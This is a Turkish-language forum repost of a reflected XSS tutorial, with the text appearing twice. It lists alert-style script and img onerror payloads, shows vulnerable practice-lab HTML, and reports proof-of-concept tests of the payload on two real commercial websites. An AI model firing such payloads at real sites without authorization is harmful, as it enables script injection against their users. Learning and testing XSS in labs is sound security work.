Selamlar ben Halil AHMAD.
Türkçe tabiriyle (Siteler arası betik çalıştırma) olan xss açığından bahsedeceğim.
Direk satırlarca yazı yazmak yerine ufak işlevli methodlar göstereceğim sizlere.Bugünki write-up reflected xss üzerine olacaktır.
Sizlere şöyle bi görsel bırakmak istiyorum umarım faydası olabilir.Evrensel olarak xssyi anlatmaktadır.
Dipnot: Zafiyet testlerini mümkün olduğunca Mozillada yapmaya çalışın.

Lablar üzerinden gideceğim.Farklı farklı Lablara geçeceğim.
XSS Practice Lab - 1 Şimdi buraya yazalım işte
Payloadlar;
Örnek olarak mesela bunlar daha binlerce gösterebilirim fakat uzamasın.
Payloadlar;
Aslında çalışanları ve çalışmayanların neden çalışmadığını neden çalıştığını açıklayacaktım fakat şöyle birşey söyleyeyim;
Evet gördüğünüz gibi <script>alert()</script> çalışmama nedeni bariz ortada.

Şimdi xss ararken düz payloadlar deniyorsunuz yanlış yapıyorsunuz.
<div
<title
<strong
..
Binlerce şekilde açılmış searchlar var bunları <script>alert(1)</script> okumamasının nedeni örnek <div ile açılmasından dolayı.Eğer bizde payloadımızı <div ile açarsak;
<div><script>alert(1)</script></div> (Sourceye bağlı kapatıp kapatmayacağınız.
TESTLERİMİZE GEÇELİM;
Payload: ><img src=x onerror=alert(1)>
Web Sayfası: XSS Practice Lab - 1
PoC:

Payload:><img src=x onerror=alert(halilahmad)>
Web Sayfası: https://www.mini.de/
PoC:

Payload:><img src=x onerror=alert(1)>
Web Sayfası: https://ca-stores.casper.com/
PoC:

Yani arkadaşlar xss ararken çok kurnaz olmanız gerekmektedir gözleriniz hep giden urllerde giden paketlerde get komutlarında cart curt herşeyde olmalıdır.Bu arada shadonda tavsiye ederim fakat Brup kullanın işinize çok yarayacaktır.
Reflected ararken dikkat edilmesi gerekenler;
Sourceye bakılmalı.
Doğru payload.
2 si sizi sonuca götürecektir.Ha bide bypasslar var flitreleme onları başka write-upda yayımlarım.
KAYNAK: https://medium.com/@halilahmad/cross-site-scripting-reflected-1dc90662875e
Türkçe tabiriyle (Siteler arası betik çalıştırma) olan xss açığından bahsedeceğim.
Direk satırlarca yazı yazmak yerine ufak işlevli methodlar göstereceğim sizlere.Bugünki write-up reflected xss üzerine olacaktır.
Sizlere şöyle bi görsel bırakmak istiyorum umarım faydası olabilir.Evrensel olarak xssyi anlatmaktadır.
Dipnot: Zafiyet testlerini mümkün olduğunca Mozillada yapmaya çalışın.

Lablar üzerinden gideceğim.Farklı farklı Lablara geçeceğim.
XSS Practice Lab - 1 Şimdi buraya yazalım işte
Payloadlar;
Kod:
<script>alert(halil)</script>
><script>alert(1)</script>
<script>alert(1)</script>
Payloadlar;
Kod:
<script>alert(halil)</script>
<script>alert(halil)<script>
Kod:
</div>
<center><form action="stg_3.php" method="GET">
<h2>Welcome to Challenge 3</h2><br>
<font size=3>Enter Your Name here : <input type="text" name="name" value="<script>alert(1)</script>"></input>
<input type="submit" name="submit" value="Search">
</form>
</center>
</div>
</div>
<font size=3>Enter Your Name here : <input type="text" name="name" value="<script>alert(1)</script>"></input>

Şimdi xss ararken düz payloadlar deniyorsunuz yanlış yapıyorsunuz.
<div
<title
<strong
..
Binlerce şekilde açılmış searchlar var bunları <script>alert(1)</script> okumamasının nedeni örnek <div ile açılmasından dolayı.Eğer bizde payloadımızı <div ile açarsak;
<div><script>alert(1)</script></div> (Sourceye bağlı kapatıp kapatmayacağınız.
TESTLERİMİZE GEÇELİM;
Payload: ><img src=x onerror=alert(1)>
Web Sayfası: XSS Practice Lab - 1
PoC:

Payload:><img src=x onerror=alert(halilahmad)>
Web Sayfası: https://www.mini.de/
PoC:

Payload:><img src=x onerror=alert(1)>
Web Sayfası: https://ca-stores.casper.com/
PoC:

Yani arkadaşlar xss ararken çok kurnaz olmanız gerekmektedir gözleriniz hep giden urllerde giden paketlerde get komutlarında cart curt herşeyde olmalıdır.Bu arada shadonda tavsiye ederim fakat Brup kullanın işinize çok yarayacaktır.
Reflected ararken dikkat edilmesi gerekenler;
Sourceye bakılmalı.
Doğru payload.
2 si sizi sonuca götürecektir.Ha bide bypasslar var flitreleme onları başka write-upda yayımlarım.
KAYNAK: https://medium.com/@halilahmad/cross-site-scripting-reflected-1dc90662875e
Son düzenleme:





